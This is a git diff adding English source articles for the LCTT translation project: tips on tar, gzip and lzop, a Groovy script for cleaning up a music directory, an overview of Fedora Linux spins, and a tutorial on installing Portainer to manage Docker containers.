+选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/open-music-column-lead-blue.png +[2]: http://www.jthink.net/jaudiotagger/examples_read.jsp +[3]: https://opensource.com/article/22/8/groovy-scripting-analyzing-music-directory-part-1 +[4]: https://opensource.com/article/22/8/groovy-scripting-analyzing-music-directory-part-2 +[5]: https://opensource.com/article/21/9/libreoffice-tips +[6]: https://opensource.com/article/20/12/onlyoffice-docs +[7]: https://opensource.com/sites/default/files/2022-08/screenshot%20of%20LibreOffice%20showing%20tagAnalysis3.png diff --git a/sources/tech/20220829 4 ways to use the Linux tar command.md b/sources/tech/20220829 4 ways to use the Linux tar command.md new file mode 100644 index 0000000000..0b5ebe3ae4 --- /dev/null +++ b/sources/tech/20220829 4 ways to use the Linux tar command.md @@ -0,0 +1,95 @@ +[#]: subject: "4 ways to use the Linux tar command" +[#]: via: "https://opensource.com/article/22/8/linux-tar-command" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +4 ways to use the Linux tar command +====== +How do you use the tar command? That's what I recently asked our community of writers. Here are some of their answers. + +When you have a lot of related files, it's sometimes easier to treat them as a single object rather than 3 or 20 or 100 unique files. There are fewer clicks involved, for instance, when you email *one* file compared to the mouse work required to email 30 separate files. This quandary was solved decades ago when programmers invented a way to create an *archive*, and so the `tar` command was born (the name stands for *tape archive* because back then, files were saved to magnetic tape.) Today `tar` remains a useful way to bundle files together, whether it's to compress them so they take up less space on your drive, to make it easier to deal with lots of files, or to logically group files together as a convenience. + +I asked Opensource.com authors how they used `tar`, and related tools like `zip` and `gzip`, in their daily work. Here's what they said. + +### Backups and logs + +I use `tar` and `zip` whenever I need to make a backup or archive of an entire directory tree. For example, delivering a set of files to a client, or just making a quick backup of my web root directory before I make a major change on the website. If I need to share with others, I create a ZIP archive with `zip -9r`, where `-9` uses best possible compression, and `-r` will recurse into subdirectories. For example, `zip -9r client-delivery.zip client-dir` makes a zip file of my work, which I can send to a client. + +If the backup is just for me, I probably use `tar` instead. When I use `tar`, I usually use `gzip` to compress, and I do it all on one command line with `tar czf`, where `c` will create a new archive file, `z` compresses it with `gzip`, and `f` sets the archive filename. For example, `tar czf web-backup.tar.gz html` creates a compressed backup of my `html` directory. + +I also have web applications that create log files. And to keep them from taking up too much space, I compress them using `gzip`. The `gzip` command is a great way to compress a *single file*. This can be a TAR archive file, or just any regular file like a log file. To make the gzipped file as small as possible, I compress the file with `gzip -9`, where `-9` uses the best possible compression. + +The great thing about using `gzip` to compress files is that I can use commands like `zcat` and `zless` to view them later, without having to uncompress them on the disk. So if I want to look at my log file from yesterday, I can use `zless yesterday.log.gz` and the `zless` command automatically uncompresses the data with `gunzip` and send it to the `less` viewer. Recently, I wanted to look at how many log entries I had per day, and I ran that with a `zcat` command like: + +``` +for f in *.log.gz; do echo -n "$f,"; zcat $f | wc -l; done +``` + +This generates a comma-separated list of log files and a line count, which I can easily import to a spreadsheet for analysis. + +**[—Jim Hall][2]** + +### Zcat + +I introduced the `zcat` command in my article [Getting started with the cat command][3]. Maybe this can act as a stimulus for further discussion of "in-place" compressed data analysis. + +**[—Alan Formy-Duval][4]** + +### Zless and lzop + +I love having `zless` to browse log files and archives. It really helps reduce the risk of leaving random old log files around that I haven't cleaned up. + +When dealing with compressed archives, `tar -zxf` and `tar -zcf` are awesome, but don't forget about `tar -j` for those bzip2 files, or even `tar -J` for the highly compressed xz files. + +If you're dealing with a platform with limited CPU resources, you could even consider a lower overhead solution like `lzop`. For example, on the source computer: + +``` +tar --lzop -cf - source_directory | nc destination-host 9999 +``` + +On the destination computer: + +``` +nc -l 9999 | tar --lzop -xf - +``` + +I've often used that to compress data between systems where we have bandwidth limitations and need a low resource option. + +**[—Steven Ellis][5]** + +### Ark + +I've found myself using the KDE application Ark lately. It's a GUI application, but it integrates so well with the Dolphin file manager that I've gotten into the habit of just updating files straight into an archive without even bothering to unarchive the whole thing. Of course, you can do the same thing with the `tar` command, but if you're browsing through files in Dolphin anyway, Ark makes it quick and easy to interact with an archive without interrupting your current workflow. + +![Ark][6] + +Image by: (Seth Kenlon, CC BY-SA 4.0) + +Archives used to feel a little like a forbidden vault to me. Once I put files into an archive, they were as good as forgotten because it just isn't always convenient to interact with an archive. But Ark lets you preview files without uncompressing them (technically they're being uncompressed, but it doesn't "feel" like they are because it all happens in place), remove a file from an archive, update files, rename files, and a lot more. It's a really nice and dynamic way to interact with archives, which encourages me to use them more often. + +**[—Seth Kenlon][7]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/linux-tar-command + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/collab-team-pair-programming-code-keyboard2.png +[2]: https://opensource.com/users/jim-hall +[3]: https://opensource.com/Getting%20Started%20with%20the%20Cat%20Command +[4]: https://opensource.com/users/alanfdoss +[5]: https://opensource.com/opensource.com/users/steven-ellis +[6]: https://opensource.com/sites/default/files/2022-08/ark.webp +[7]: https://opensource.com/users/seth diff --git a/sources/tech/20220829 Clean up unwanted files in your music directory using Groovy.md b/sources/tech/20220829 Clean up unwanted files in your music directory using Groovy.md new file mode 100644 index 0000000000..1b503e8b77 --- /dev/null +++ b/sources/tech/20220829 Clean up unwanted files in your music directory using Groovy.md @@ -0,0 +1,118 @@ +[#]: subject: "Clean up unwanted files in your music directory using Groovy" +[#]: via: "https://opensource.com/article/22/8/remove-files-music-directory-groovy" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Clean up unwanted files in your music directory using Groovy +====== +In this demonstration, I facilitate removing unwanted files in the album directories. + +In this series, I'm developing several scripts to help in cleaning up my music collection. In the last article, we used the framework created for analyzing the directory and sub-directories of music files, checking to make sure each album has a `cover.jpg` file and recording any other files that aren't FLAC, MP3, or OGG. + +I uncovered a few files that can obviously be deleted—I see the odd `foo` lying around—and a bunch of PDFs, PNGs, and JPGs that are album art. With that in mind, and thinking about the cruft removal task, I offer an improved script that uses a Groovy map to record file names and counts of their occurrences and print that in CSV format. + +### Get started analyzing with Groovy + +If you haven't already, read the first three articles of this series before continuing: + +* [How I analyze my music directory with Groovy][2] +* [My favorite open source library for analyzing music files][3] +* [How I use Groovy to analyze album art in my music directory][4] + +They'll ensure you understand the intended structure of my music directory, the framework created in that article, and how to pick up FLAC, MP3, and OGG files. In this article, I facilitate removing unwanted files in the album directories. + +### The framework and the album files analysis bits + +Start with the code. As before, I've incorporated comments in the script that reflect the (relatively abbreviated) "comment notes" that I typically leave for myself: + +``` +1        // Define the music libary directory +2        // def musicLibraryDirName = '/var/lib/mpd/music' +3        // Define the file name accumulation map +4        def fileNameCounts = [:] +5        // Print the CSV file header +6        println "filename|count" +7        // Iterate over each directory in the music libary directory +8        // These are assumed to be artist directories +9        new File(musicLibraryDirName).eachDir { artistDir -> +10            // Iterate over each directory in the artist directory +11            // These are assumed to be album directories +12            artistDir.eachDir { albumDir -> +13                // Iterate over each file in the album directory +14                // These are assumed to be content or related +15                // (cover.jpg, PDFs with liner notes etc) +16                albumDir.eachFile { contentFile -> +17                    // Analyze the file +18                    if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +19                        // nothing to do here +20                    } else if (contentFile.name == 'cover.jpg') { +21                        // don't need to do anything with cover.jpg +22                    } else { +23                        def fn = contentFile.name +24                        if (contentFile.isDirectory()) +25                            fn += '/' +26                        fileNameCounts[fn] = fileNameCounts.containsKey(fn) ?  fileNameCounts[fn] + 1 : 1 +27                    } +28                } +29            } +30        } +31        // Print the file name counts +32        fileNameCounts.each { key, value -> +33            println "$key|$value" +34        } +``` + +This is a pretty straightforward set of modifications to the original framework. + +Lines 3-4 define `fileNameCount`, a map for recording file name counts. + +Lines 17-27 analyze the file names. I avoid any files ending in `.flac`, `.mp3` or `.ogg` as well as `cover.jpg` files. + +Lines 23-26 record file names (as keys to `fileNameCounts` ) and counts (as values). If the file is actually a directory, I append a `/` to help deal with it in the removal process. Note in line 26 that Groovy maps, like Java maps, need to be checked for the presence of the key before incrementing the value, unlike for example the [awk programming language][5]. + +That's it! + +I run this as follows: + +``` +$ groovy TagAnalyzer4.groovy > tagAnalysis4.csv +``` + +Then I load the resulting CSV into a LibreOffice spreadsheet by navigating to the **Sheet** menu and selecting **Insert sheet from file**. I set the delimiter character to `&$124;`. + +![Image of a screenshot of LibreOffice Calc tht shows tagAnalysis][6] + +Image by: (Chris Hermansen, CC BY-SA 4.0) + +I've sorted this in decreasing order of the column **count** to emphasize repeat offenders. Note as well on lines 17-20 a bunch of M3U files that refer to the name of the album, probably created by some well-intentioned ripping program. I also see, further down (not shown), files like `fix` and `fixtags.sh`, evidence of prior efforts to clean up some problem and leaving other cruft lying around in the process. I use the `find` command line utility to get rid of some of these files, along the lines of: + +``` +$ find . \( -name \*.m3u -o -name tags.txt -o -name foo -o -name .DS_Store \ +-o -name fix -o -name fixtags.sh \) -exec rm {} \; +``` + +I suppose I could have used another Groovy script to do that as well. Maybe next time. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/remove-files-music-directory-groovy + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/music-column-osdc-lead.png +[2]: https://opensource.com/article/22/8/groovy-script-java-music +[3]: https://opensource.com/article/22/8/analyze-music-files-jaudiotagger +[4]: https://opensource.com/article/22/8/groovy-album-music-directory +[5]: https://opensource.com/article/19/10/intro-awk +[6]: https://opensource.com/sites/default/files/2022-08/Screenshot%20of%20LibreOffice%20Calc%20showing%20some%20of%20tagAnalysis.png diff --git a/sources/tech/20220829 Fedora Linux editions part 2- Spins.md b/sources/tech/20220829 Fedora Linux editions part 2- Spins.md new file mode 100644 index 0000000000..d2ece3f6cb --- /dev/null +++ b/sources/tech/20220829 Fedora Linux editions part 2- Spins.md @@ -0,0 +1,123 @@ +[#]: subject: "Fedora Linux editions part 2: Spins" +[#]: via: "https://fedoramagazine.org/fedora-linux-editions-part-2-spins/" +[#]: author: "Arman Arisman https://fedoramagazine.org/author/armanwu/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Fedora Linux editions part 2: Spins +====== +![Fedora Linux editions part 2 Spins][1] + +Photo by [Frédéric Perez][2] on [Unsplash][3] + +One of the nice things about using Linux is the wide choice of desktop environments. Fedora Linux official Worksation edition comes with GNOME as default desktop environment, but you can choose another desktop environment as default via Fedora Spins. This article will go into a little more detail about the Fedora Linux Spins. You can find an overview of all the Fedora Linux variants in my previous article [Introduce the different Fedora Linux editions][4]. + +### KDE Plasma Desktop + +This Fedora Linux comes with KDE Plasma as the default desktop environment. KDE Plasma is an elegant desktop environment that is very easy to customize. Therefore, you can freely and easily change the appearance of your desktop as you wish. You can customize your favorite themes, install the widgets you want, change icons, change fonts, customize panels according to your preferences, and install various extensions from the community. + +Fedora Linux KDE Plasma Desktop is installed with a variety of ready-to-use applications. You’re ready to go online with Firefox, Kontact, Telepathy, KTorrent, and KGet. LibreOffice, Okular, Dolphic, and Ark are ready to use for your office needs. Your multimedia needs will be met with several applications such as Elisa, Dragon Player, K3B, and GwenView. + +![Fedora KDE Plasma Desktop][5] + +More information is available at this link: [https://spins.fedoraproject.org/en/kde/][6] + +### XFCE Desktop + +This version is perfect for those who want a balance between ease of customizing appearance and performance. XFCE itself is made to be fast and light, but still has an attractive appearance. This desktop environment is becoming popular for those with older devices. + +Fedora Linux XFCE is installed with various applications that suit your daily needs. These applications are Firefox, Pidgin, Gnumeric, AbiWord, Ristretto, Parole, etc. Fedora Linux XFCE also already has a System Settings menu to make it easier for you to configure your Fedora Linux. + +![Fedora XFCE Desktop][7] + +More information is available at this link: [https://spins.fedoraproject.org/en/xfce/][8] + +### LXQT Desktop + +This spin comes with a lightweight Qt desktop environment, and focuses on modern classic desktops without slowing down the system. This version of Fedora Linux includes applications based on the Qt5 toolkit and is Breeze themed. You will be ready to carry out various daily activities with built-in applications, such as QupZilla, QTerminal, FeatherPad, qpdfview, Dragon Player, etc. + +![Fedora LXQt Desktop][9] + +More information is available at this link: [https://spins.fedoraproject.org/en/lxqt/][10] + +### MATE-Compiz Desktop + +Fedora Linux MATE Compiz Desktop is a combination of MATE and Compiz Fusion. MATE desktop allows this version of Fedora Linux to work optimally by prioritizing productivity and performance. At the same time Compiz Fusion provides a beautiful 3D look with Emerald and GTK + themes. This Fedora Linux is also equipped with various popular applications, such as Firefox, LibreOffice, Parole, FileZilla, etc. + +![Fedora Mate-Compiz Desktop][11] + +More information is available at this link: [https://spins.fedoraproject.org/en/mate-compiz/][12] + +### Cinnamon Desktop + +Because of its user-friendly interface, Fedora Linux Cinnamon Desktop is perfect for those who may be new to the Linux operating system. You can easily understand how to use this version of Fedora Linux. This spin has built-in applications that are ready to use for your daily needs, such as Firefox, Pidgin, GNOME Terminal, LibreOffice, Thunderbird, Shotwell, etc. You can use Cinnamon Settings to configure your operating system. + +![Fedora Cinnamon Desktop][13] + +More information is available at this link: [https://spins.fedoraproject.org/en/cinnamon/][14] + +### LXDE Desktop + +Fedora Linux LXDE Desktop has a desktop environment that performs fast but is designed to keep resource usage low. This spin is designed for low-spec hardware, such as netbooks, mobile devices, and older computers. Fedora Linux LXDE has lightweight and popular applications, such as Midori, AbiWord, Osmo, Sylpheed, etc. + +![Fedora LXDE Desktop][15] + +More information is available at this link: [https://spins.fedoraproject.org/en/lxde/][16] + +### SoaS Desktop + +SoaS stands for Sugar on a Stick. Fedora Linux Sugar Desktop is a learning platform for children, so it has a very simple interface that is easy for children to understand. The word “stick” in this context refers to a thumb drive or memory “stick”. This means this OS has a compact size and can be completely installed on a thumb drive. Schoolchildren can carry their OS on a thumb drive, so they can use it easily at home, school, library, and elsewhere. Fedora Linux SoaS has a variety of interesting learning applications for children, such as Browse, Get Books, Read, Turtle Blocks, Pippy, Paint, Write, Labyrinth, Physic, and FotoToon. + +![Fedora SOAS Desktop][17] + +More information is available at this link: [https://spins.fedoraproject.org/en/soas/][18] + +### i3 Tiling WM + +The i3 Tiling WM spin of Fedora Linux is a bit different from the others. This Fedora Linux spin does not use a desktop environment, but only uses a window manager. The window manager used is i3, which is a very popular tiling window manager among Linux users. Fedora i3 Spin is intended for those who focus on interacting using a keyboard rather than pointing devices, such as a mouse or touchpad. This spin of Fedora Linux is equipped with various applications, such as Firefox, NM Applet, brightlight, azote, htop, mousepad, and Thunar. + +![Fedora i3 Tiling WM][19] + +More information is available at this link: [https://spins.fedoraproject.org/en/i3/][20] + +### Conclusion + +Fedora Linux provides a large selection of desktop environments through Fedora Linux Spins. You can simply choose one of the Fedora Spins, and immediately enjoy Fedora Linux with the desktop environment of your choice along with its ready-to-use built-in applications. You can find complete information about Fedora Spins at [https://spins.fedoraproject.org/][21]. + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/fedora-linux-editions-part-2-spins/ + +作者:[Arman Arisman][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/armanwu/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/06/FedoraMagz-FedoraEditions-2-Spins-816x345.png +[2]: https://unsplash.com/@fredericp?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/blue-abstract?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://fedoramagazine.org/introduce-the-different-fedora-linux-editions/ +[5]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-kde.jpg +[6]: https://spins.fedoraproject.org/en/kde/ +[7]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-xfce.jpg +[8]: https://spins.fedoraproject.org/en/xfce/ +[9]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-lxqt.jpg +[10]: https://spins.fedoraproject.org/en/lxqt/ +[11]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-matecompiz.jpg +[12]: https://spins.fedoraproject.org/en/mate-compiz/ +[13]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-cinnamon.jpg +[14]: https://spins.fedoraproject.org/en/cinnamon/ +[15]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-lxde.jpg +[16]: https://spins.fedoraproject.org/en/lxde/ +[17]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-soas.jpg +[18]: https://spins.fedoraproject.org/en/soas/ +[19]: https://fedoramagazine.org/wp-content/uploads/2022/08/screenshot-i3.jpg +[20]: https://spins.fedoraproject.org/en/i3/ +[21]: https://spins.fedoraproject.org/ diff --git a/sources/tech/20220829 How To Manage Docker Containers Using Portainer In Linux.md b/sources/tech/20220829 How To Manage Docker Containers Using Portainer In Linux.md new file mode 100644 index 0000000000..60658cd210 --- /dev/null +++ b/sources/tech/20220829 How To Manage Docker Containers Using Portainer In Linux.md @@ -0,0 +1,365 @@ +[#]: subject: "How To Manage Docker Containers Using Portainer In Linux" +[#]: via: "https://ostechnix.com/portainer-an-easiest-way-to-manage-docker/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How To Manage Docker Containers Using Portainer In Linux +====== +Poratiner - An Easiest Way To Manage Docker And Kubernetes + +In this tutorial, we will learn what is **Portainer**, how to install Portainer and how to **manage docker containers using Portainer** in Linux. + +### What Is Portainer? + +**Portainer** is a lightweight, cross-platform, and open source management UI for Docker, Swarm, Kubernetes, and ACI environments. + +Portainer allows you to manage containers, images, networks and volumes via simple web-based dashboard and/or an extensive API. + +Using Portainer, we can easily deploy, configure and secure containers in minutes on Docker, Kubernetes, Swarm and Nomad in any cloud, datacenter or device. + +It was originally the fork of Docker UI. The developer has rewritten pretty much all of the Docker UI original code. He also has revamped the UX completely and added some more functionality in the recent versions. + +Portainer is available in two editions: **Portainer Community Edition(CE)** and **Portainer Business Edition(BE)**. + +The Portainer CE is free for personal use that includes a few essential features for container management. And the Portainer BE is paid version that includes complete features and professional support. + +Portainer supports GNU/Linux, Microsoft Windows, and macOS. + +### Prerequisites + +For the purpose of this guide, we will be using Portainer CE, which is free. + +**1.** Make sure you have installed Docker and it is working. Portainer has full support for Docker version 1.10 and higher versions. + +To install Docker in Linux, refer the following links. + +* [Install Docker Engine And Docker Compose In AlmaLinux, CentOS, Rocky Linux][1] +* [How to Install Docker Engine And Docker Compose In Ubuntu][2] + +**Heads Up:** You can also install **[Docker desktop][3]** and then install Portainer as an extension via the **market place**. But this is not the scope of this guide. + +**2.** Make sure you have **sudo** or **root** access to deploy Portainer community edition using Docker. + +**3.** Open or allow Ports **9443**, **9000** and **8000** in your router or firewall if you want to access the portainer web UI from a remote system. + +### Install Portainer With Docker In Linux + +Portainer CE installation is pretty easy and it will take only a few minutes. + +First of all, create a volume for Portainer server to store its database. + +``` +$ sudo docker volume create portainer_data +``` + +Next, run the following command to pull the latest Portainer image and start the Portainer: + +``` +$ docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest +``` + +**Heads Up:** By default, Portainer Server will expose the UI over port `9443` and expose a TCP tunnel server over port 8000. The latter is optional and is only required if you plan to use the Edge compute features with Edge agents. + +**Sample output:** + +``` +portainer_data:/data portainer/portainer-ce:latest +Unable to find image 'portainer/portainer-ce:latest' locally +latest: Pulling from portainer/portainer-ce +772227786281: Pull complete +96fd13befc87: Pull complete +4847ec395191: Pull complete +4c2d012c4350: Pull complete +Digest: sha256:70a61e11a899c56f95c23f734c0777b26617729fcb8f0b61905780f3144498e3 +Status: Downloaded newer image for portainer/portainer-ce:latest +4b3a95e8c999f5651dfde13b5519d19a93b143afbcd6fd1f8035af5645bd0e5f +``` + +By default, Portainer generates and uses a self-signed SSL certificate to secure port 9443. If you require HTTP port 9000 open for legacy reasons, add `-p 9000:9000` to your docker run command: + +``` +$ sudo docker run -d -p 8000:8000 -p 9000:9000 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest +``` + +Let us check whether the Portainer image has been pulled or not. + +``` +$ sudo docker images +``` + +**Sample output:** + +``` +REPOSITORY TAG IMAGE ID CREATED SIZE +portainer/portainer-ce latest ab836adaa325 4 weeks ago 278MB +``` + +We have now installed Portainer in our local Ubuntu system. Let us start the container using command: + +Now, Portainer is running! Let us go ahead and access the Portainer UI. + +### Manage Docker Containers Using Portainer + +Open your web browser and point it to any one of the following URLs depending upon the port number you used when starting Portainer. + +* Portainer https URL (with self-signed certificate) - http://localhost:9443/ or http://IP_Address:9443/. +* Portainer http URL - http://localhost:9000/ or http://IP_Address:9000/. + +You will be presented with a screen like below where you should set a strong password for the Portainer **admin** user. Enter a strong password with minimum 12 characters and click Create user button. + +![Create Password For Portainer Admin User][4] + +Choose whether you want to proceed using the local environment which Portainier is running in or connect to other environments. I don't have any other environments, so I clicked the "Get started.." button to proceed with the local environment. + +![Portainer Admin Dashboard][5] + +This is how Portainer admin dashboard looks like. The dashboard home screen displays the list of connected environments. As you see in the below screeenshot, we are connected with the "local" environment. + +![Portainer Home][6] + +Click on the local environment to see the running and stopped containers, number of downloaded docker images, number of volumes and networks. + +![Environment Summary][7] + +You don't have to memorize docker commands. Everything can be done from the Dashboard itself. + +Let us go ahead and create some containers. + +#### Creating Containers + +Make sure you're in the Local environment. + +Click on the **App Templates** button on the left side bar. You will see some ready-made templates such as Docker image registry, Nginx, Httpd, MySQl, Wordpress and a few more. + +![Application Templates List][8] + +To deploy a Container, just click on the respective template and follow the on-screen instructions. + +For instance, let us launch **MySQL** Container. To do so, click on the **MySQL** template. + +![Launch MySQL Template][9] + +Enter the Container name, select network type (e.g.bride mode), and database root user password. Click on **Show advanced options** and set port number. If you're not sure what to input, just leave the default values. + +Finally, Click **Deploy the container** button to create the MySQL container. + +![Create MySQL Docker Container][10] + +Once the container created, you will be redirected to the **Containers** page where you can see the list of created and running containers. + +![Container List][11] + +Under the Containers list section, you will see the, + +* Name of the running and stopped containers, +* Status of the containers, +* Quick actions buttons, +* Docker image used to create the containers, +* the date and time of container creation, +* IP address of the container, +* Published ports, +* and Ownership details. + +To start/stop the newly created container, just select it and hit Start/stop button on the top. You can restart, pause, and remove any Containers from this section. + +#### Manage Containers + +We can do all container management operations, such as add new container and start, stop, restart, pause, kill, remove existing containers from under Containers section. + +![Create And Manage Containers From Portainer][12] + +You will see a few "Quick Actions" buttons next to each container. Clicking on a button will perform the respective action. + +Under the Quick Actions tab, you will see the following buttons. + +* Logs - Display Container logs. +* Inspect - Inspect container image. +* Stats - View Container statistics. +* Console - Access Container console. +* Attach - Attach To Container console. + +![Quick Actions][13] + +##### View Container Logs + +Select a Container from the Containers list and then click **Logs** button under the Quick Actions tab. + +![Container Logs][14] + +Here, you can view complete log details of the Container. + +##### Inspect Container + +Click the "Inspect" button under the Quick Actions tab to inspect the container image. + +![Container Inspect][15] + +##### View Container Stats + +Click on the **Stats** button to view what's happening in the newly launched Container. + +![Container Statistics][16] + +##### Access Container Console + +You can easily connect to the console of your Container by clicking on the **Console** button. + +![Access Container Console][17] + +Select the Shell (BASH or SH), and hit **Connect** button. + +![Connect To Console][18] + +Now you will be connected to the Container's console. + +![Container Console][19] + +#### View Container Details + +To view the complete overview of any container, just click on the name of the container from the Containers list. + +![Container Details][20] + +As you see in the above output, the Containers details section is further divided into the following sub-sections: + +* Actions - This section containers buttons to control the container, such as Start, Stop, Kill, Restart, Pause, Resume, Remove, Recreate, Duplicate/Edit. +* Container status - In this section, you will container details such as the name, IP address, status of the container, when the container is created, container start time and a few more details. Under the Container status button, you will see the following controls: * Logs - Display Container logs. * Inspect - Inspect container image. * Stats - View Container statistics. * Console - Access Container console. * Attach - Attach To Container console. +* Access control - View and change ownership. +* Container health - In this section, you will see the container health status, failure count and `mysqld` service status. +* Create image - This section allows you to create an image from this container. This allows you to backup important data or save helpful configurations. You'll be able to spin up another container based on this image afterward. +* Container details - In this section, you can view the docker image used to create this container, port configuration details, and environment details etc. +* Volumes - See the list of attached volumes to the container. +* Networks - View network configuration details. + +Please note that you can do all aforementioned management actions (i.e. View Stats/Logs, Inspect, Access Console etc.) from the "Container Details" section too. + +![Container Control Buttons][21] + +### Docker Images + +In this section, you can view the list of downloaded docker images. + +![Docker Image List][22] + +In this section, you can build new image, import, export and delete Docker images. To remove any image, just select it and click **Remove**. + +### Networks + +Networks section allows you to add a new network, change the network type, assign/change IP address, remove existing networks. + +![Network List][23] + +### Volumes + +Here, you can view existing docker volumes, create new one, delete them if you no longer need them. + +![Volume List][24] + +### Events + +In this section, we can view what we have done so far, such as creating a new instance, network, volume etc. + +![Event List][25] + +### Host Overview + +This section displays the Docker engine version, Host OS name, type, architecture, cpu, memory, network details etc. + +![Host Overview][26] + +Under this section, you can also configure Docker features and setup registries (i.e. Docker hub, Quay, Azure, Gitlab etc.). + +### Users + +The users section allows us to add new users, add users to teams, view list of existing users and delete the users. + +![Users][27] + +You can also create a team(e.g. development) in which you can add users in this team and assign different roles to the users. The roles feature is available only for Portainer Business edition. + +### Environments + +In this section, you can add new environment, view existing environments. + +![Environments][28] + +In Portainer CE, you can add Docker, Kubernetes and ACI environments. In business edition, you can add two more environments called Nomad and KaaS. + +### Authentication Logs + +The Authentication logs section shows you to user activity details. Portainer user authentication activity logs have a maximum retention of 7 days. This is actually business edition feature. If you're using community edition, you can't use this feature. + +### Settings + +This section is dedicated for Portainer settings. In this section, you can configure Portainer settings such as, + +* define the snapshot level for containers, +* use custom logo for Portainer dashboard, +* specify the URL to your own template definitions file and HELM repository, +* configure SSL certificate, +* backup Portainer configuration etc. + +### Conclusion + +In this detailed guide, we discussed what is Portainer, how to install Portainer, and how to use Portainer to create and manage Docker containers in Linux. + +We also learned a brief overview about each section in the Portainer web dashboard. Using Portainer, you can do complete docker management either from the local system itself or a remote system. + +If you want a feature rich, yet simple to use centralized Docker management solution, you should give Portainer a try. + +For more details, check the official resources given below. + +**Resources:** + +* [Portainer website][29] +* [Portainer on GitHub][30] + +Any thoughts on Portainer? Have you already tried it? Great! Let us know them in the comment section below. + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/portainer-an-easiest-way-to-manage-docker/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-docker-almalinux-centos-rocky-linux/ +[2]: https://ostechnix.com/install-docker-ubuntu/ +[3]: https://ostechnix.com/docker-desktop-for-linux/ +[4]: https://ostechnix.com/wp-content/uploads/2022/08/Create-Password-For-Portainer-Admin-User.png +[5]: https://ostechnix.com/wp-content/uploads/2022/08/Portainer-Admin-Dashboard.png +[6]: https://ostechnix.com/wp-content/uploads/2022/08/Portainer-Home-1.png +[7]: https://ostechnix.com/wp-content/uploads/2022/08/Environment-Summary.png +[8]: https://ostechnix.com/wp-content/uploads/2022/08/Application-Templates-List.png +[9]: https://ostechnix.com/wp-content/uploads/2022/08/Launch-MySQL-Template.png +[10]: https://ostechnix.com/wp-content/uploads/2022/08/Create-MySQL-Docker-Container.png +[11]: https://ostechnix.com/wp-content/uploads/2022/08/Container-List.png +[12]: https://ostechnix.com/wp-content/uploads/2022/08/Create-And-Manage-Containers-From-Portainer.png +[13]: https://ostechnix.com/wp-content/uploads/2022/08/Quick-Actions.png +[14]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Logs.png +[15]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Inspect.png +[16]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Statistics.png +[17]: https://ostechnix.com/wp-content/uploads/2022/08/Access-Container-Console.png +[18]: https://ostechnix.com/wp-content/uploads/2022/08/Connect-To-Console.png +[19]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Console.png +[20]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Details.png +[21]: https://ostechnix.com/wp-content/uploads/2022/08/Container-Control-Buttons.png +[22]: https://ostechnix.com/wp-content/uploads/2022/08/Docker-Image-List.png +[23]: https://ostechnix.com/wp-content/uploads/2022/08/Network-List.png +[24]: https://ostechnix.com/wp-content/uploads/2022/08/Volume-List.png +[25]: https://ostechnix.com/wp-content/uploads/2022/08/Event-List.png 